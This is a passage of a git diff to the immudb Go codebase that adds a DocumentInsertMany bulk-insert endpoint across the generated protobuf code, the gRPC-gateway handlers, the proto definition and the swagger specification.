0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa9, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x30, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, - 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, - 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, - 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, - 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, - 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, - 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, - 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, - 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x42, 0x75, + 0x6c, 0x6b, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x42, 0x75, 0x6c, 0x6b, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, + 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, + 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, + 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, + 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, + 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, + 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, + 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -1915,90 +2049,95 @@ func file_documentschema_proto_rawDescGZIP() []byte { } var file_documentschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 28) +var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 30) var file_documentschema_proto_goTypes = []interface{}{ - (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator - (IndexType)(0), // 1: immudb.documentschema.IndexType - (*DocumentInsertRequest)(nil), // 2: immudb.documentschema.DocumentInsertRequest - (*DocumentInsertResponse)(nil), // 3: immudb.documentschema.DocumentInsertResponse - (*DocumentUpdateRequest)(nil), // 4: immudb.documentschema.DocumentUpdateRequest - (*DocumentUpdateResponse)(nil), // 5: immudb.documentschema.DocumentUpdateResponse - (*IndexValue)(nil), // 6: immudb.documentschema.IndexValue - (*DocumentQuery)(nil), // 7: immudb.documentschema.DocumentQuery - (*DocumentSearchRequest)(nil), // 8: immudb.documentschema.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 9: immudb.documentschema.DocumentSearchResponse - (*DocumentProofRequest)(nil), // 10: immudb.documentschema.DocumentProofRequest - (*DocumentProofResponse)(nil), // 11: immudb.documentschema.DocumentProofResponse - (*DocumentAuditRequest)(nil), // 12: immudb.documentschema.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 13: immudb.documentschema.DocumentAuditResponse - (*DocumentAudit)(nil), // 14: immudb.documentschema.DocumentAudit - (*IndexOption)(nil), // 15: immudb.documentschema.IndexOption - (*CollectionCreateRequest)(nil), // 16: immudb.documentschema.CollectionCreateRequest - (*CollectionCreateResponse)(nil), // 17: immudb.documentschema.CollectionCreateResponse - (*CollectionInformation)(nil), // 18: immudb.documentschema.CollectionInformation - (*CollectionGetResponse)(nil), // 19: immudb.documentschema.CollectionGetResponse - (*CollectionGetRequest)(nil), // 20: immudb.documentschema.CollectionGetRequest - (*CollectionListRequest)(nil), // 21: immudb.documentschema.CollectionListRequest - (*CollectionListResponse)(nil), // 22: immudb.documentschema.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest - (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse - (*CollectionUpdateRequest)(nil), // 25: immudb.documentschema.CollectionUpdateRequest - (*CollectionUpdateResponse)(nil), // 26: immudb.documentschema.CollectionUpdateResponse - nil, // 27: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - nil, // 28: immudb.documentschema.CollectionInformation.IndexKeysEntry - nil, // 29: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry - (*_struct.Struct)(nil), // 30: google.protobuf.Struct - (_struct.NullValue)(0), // 31: google.protobuf.NullValue - (*_struct.Value)(nil), // 32: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 33: immudb.schema.VerifiableTxV2 + (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator + (IndexType)(0), // 1: immudb.documentschema.IndexType + (*DocumentInsertRequest)(nil), // 2: immudb.documentschema.DocumentInsertRequest + (*DocumentInsertResponse)(nil), // 3: immudb.documentschema.DocumentInsertResponse + (*DocumentUpdateRequest)(nil), // 4: immudb.documentschema.DocumentUpdateRequest + (*DocumentUpdateResponse)(nil), // 5: immudb.documentschema.DocumentUpdateResponse + (*IndexValue)(nil), // 6: immudb.documentschema.IndexValue + (*DocumentQuery)(nil), // 7: immudb.documentschema.DocumentQuery + (*DocumentSearchRequest)(nil), // 8: immudb.documentschema.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 9: immudb.documentschema.DocumentSearchResponse + (*DocumentProofRequest)(nil), // 10: immudb.documentschema.DocumentProofRequest + (*DocumentProofResponse)(nil), // 11: immudb.documentschema.DocumentProofResponse + (*DocumentAuditRequest)(nil), // 12: immudb.documentschema.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 13: immudb.documentschema.DocumentAuditResponse + (*DocumentAudit)(nil), // 14: immudb.documentschema.DocumentAudit + (*IndexOption)(nil), // 15: immudb.documentschema.IndexOption + (*CollectionCreateRequest)(nil), // 16: immudb.documentschema.CollectionCreateRequest + (*CollectionCreateResponse)(nil), // 17: immudb.documentschema.CollectionCreateResponse + (*CollectionInformation)(nil), // 18: immudb.documentschema.CollectionInformation + (*CollectionGetResponse)(nil), // 19: immudb.documentschema.CollectionGetResponse + (*CollectionGetRequest)(nil), // 20: immudb.documentschema.CollectionGetRequest + (*CollectionListRequest)(nil), // 21: immudb.documentschema.CollectionListRequest + (*CollectionListResponse)(nil), // 22: immudb.documentschema.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest + (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse + (*CollectionUpdateRequest)(nil), // 25: immudb.documentschema.CollectionUpdateRequest + (*CollectionUpdateResponse)(nil), // 26: immudb.documentschema.CollectionUpdateResponse + (*DocumentBulkInsertRequest)(nil), // 27: immudb.documentschema.DocumentBulkInsertRequest + (*DocumentBulkInsertResponse)(nil), // 28: immudb.documentschema.DocumentBulkInsertResponse + nil, // 29: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + nil, // 30: immudb.documentschema.CollectionInformation.IndexKeysEntry + nil, // 31: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + (*structpb.Struct)(nil), // 32: google.protobuf.Struct + (structpb.NullValue)(0), // 33: google.protobuf.NullValue + (*structpb.Value)(nil), // 34: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 35: immudb.schema.VerifiableTxV2 } var file_documentschema_proto_depIdxs = []int32{ - 30, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 30, // 1: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 31, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 32, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 32, // 1: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 33, // 2: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue 0, // 3: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator - 32, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value + 34, // 4: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value 7, // 5: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery - 30, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 33, // 7: immudb.documentschema.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 32, // 6: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 35, // 7: immudb.documentschema.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 14, // 8: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit - 30, // 9: immudb.documentschema.DocumentAudit.document:type_name -> google.protobuf.Struct + 32, // 9: immudb.documentschema.DocumentAudit.document:type_name -> google.protobuf.Struct 1, // 10: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType - 27, // 11: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry + 29, // 11: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry 18, // 12: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 28, // 13: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry + 30, // 13: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry 18, // 14: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation 18, // 15: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation - 29, // 16: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry + 31, // 16: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry 18, // 17: immudb.documentschema.CollectionUpdateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 15, // 18: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 19: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 20: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption - 2, // 21: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest - 4, // 22: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest - 8, // 23: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest - 12, // 24: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest - 10, // 25: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest - 16, // 26: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest - 20, // 27: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest - 21, // 28: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest - 23, // 29: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest - 25, // 30: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest - 3, // 31: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse - 5, // 32: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse - 9, // 33: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse - 13, // 34: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse - 11, // 35: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse - 17, // 36: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse - 19, // 37: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse - 22, // 38: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse - 24, // 39: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse - 26, // 40: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse - 31, // [31:41] is the sub-list for method output_type - 21, // [21:31] is the sub-list for method input_type - 21, // [21:21] is the sub-list for extension type_name - 21, // [21:21] is the sub-list for extension extendee - 0, // [0:21] is the sub-list for field type_name + 32, // 18: immudb.documentschema.DocumentBulkInsertRequest.document:type_name -> google.protobuf.Struct + 15, // 19: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 20: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption + 15, // 21: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption + 2, // 22: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest + 4, // 23: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest + 8, // 24: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest + 12, // 25: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest + 10, // 26: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest + 16, // 27: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest + 20, // 28: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest + 21, // 29: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest + 23, // 30: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest + 25, // 31: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest + 27, // 32: immudb.documentschema.DocumentService.DocumentInsertMany:input_type -> immudb.documentschema.DocumentBulkInsertRequest + 3, // 33: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse + 5, // 34: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse + 9, // 35: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse + 13, // 36: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse + 11, // 37: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse + 17, // 38: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse + 19, // 39: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse + 22, // 40: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse + 24, // 41: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse + 26, // 42: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse + 28, // 43: immudb.documentschema.DocumentService.DocumentInsertMany:output_type -> immudb.documentschema.DocumentBulkInsertResponse + 33, // [33:44] is the sub-list for method output_type + 22, // [22:33] is the sub-list for method input_type + 22, // [22:22] is the sub-list for extension type_name + 22, // [22:22] is the sub-list for extension extendee + 0, // [0:22] is the sub-list for field type_name } func init() { file_documentschema_proto_init() } @@ -2307,6 +2446,30 @@ func file_documentschema_proto_init() { return nil } } + file_documentschema_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentBulkInsertRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentschema_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentBulkInsertResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } } file_documentschema_proto_msgTypes[4].OneofWrappers = []interface{}{ (*IndexValue_NullValue)(nil), @@ -2320,7 +2483,7 @@ func file_documentschema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documentschema_proto_rawDesc, NumEnums: 2, - NumMessages: 28, + NumMessages: 30, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/documentschema/documentschema.pb.gw.go b/pkg/api/documentschema/documentschema.pb.gw.go index ef4771b37d..fbdea38cc7 100644 --- a/pkg/api/documentschema/documentschema.pb.gw.go +++ b/pkg/api/documentschema/documentschema.pb.gw.go @@ -377,6 +377,40 @@ func local_request_DocumentService_CollectionUpdate_0(ctx context.Context, marsh } +func request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentBulkInsertRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentInsertMany(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_DocumentInsertMany_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentBulkInsertRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentInsertMany(ctx, &protoReq) + return msg, metadata, err + +} + // RegisterDocumentServiceHandlerServer registers the http handlers for service DocumentService to "mux". // UnaryRPC :call DocumentServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. @@ -613,6 +647,29 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("PUT", pattern_DocumentService_DocumentInsertMany_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_DocumentInsertMany_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentInsertMany_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -854,6 +911,26 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("PUT", pattern_DocumentService_DocumentInsertMany_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_DocumentInsertMany_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_DocumentInsertMany_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + return nil } @@ -877,6 +954,8 @@ var ( pattern_DocumentService_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "delete"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_CollectionUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "update"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_DocumentService_DocumentInsertMany_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insertMany"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( @@ -899,4 +978,6 @@ var ( forward_DocumentService_CollectionDelete_0 = runtime.ForwardResponseMessage forward_DocumentService_CollectionUpdate_0 = runtime.ForwardResponseMessage + + forward_DocumentService_DocumentInsertMany_0 = runtime.ForwardResponseMessage ) diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index cd3abb852f..8c32d3264a 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -190,6 +190,17 @@ message CollectionUpdateResponse { CollectionInformation collection = 1; } +message DocumentBulkInsertRequest { + string collection = 1; + repeated google.protobuf.Struct document = 2; +} + +message DocumentBulkInsertResponse { + repeated string documentIds = 1; + uint64 transactionId = 2; +} + + service DocumentService { rpc DocumentInsert(DocumentInsertRequest) returns (DocumentInsertResponse) { option (google.api.http) = { @@ -297,4 +308,13 @@ service DocumentService { }; } + rpc DocumentInsertMany(DocumentBulkInsertRequest) returns (DocumentBulkInsertResponse) { + option (google.api.http) = { + put: "/documents/insertMany" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "documents"; + }; + } } diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 1a679764cc..e069f90d98 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -234,6 +234,38 @@ ] } }, + "/documents/insertMany": { + "put": { + "operationId": "DocumentService_DocumentInsertMany", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/documentschemaDocumentBulkInsertResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/documentschemaDocumentBulkInsertRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, "/documents/proof": { "post": { "operationId": "DocumentService_DocumentProof", @@ -468,6 +500,35 @@ } } }, + "documentschemaDocumentBulkInsertRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "document": { + "type": "array", + "items": { + "type": "object" + } + } + } + }, + "documentschemaDocumentBulkInsertResponse": { + "type": "object", + "properties": { + "documentIds": { + "type": "array", + "items": { + "type": "string" + } + }, + "transactionId": { + "type": "string", + "format": "uint64" + } + } + }, 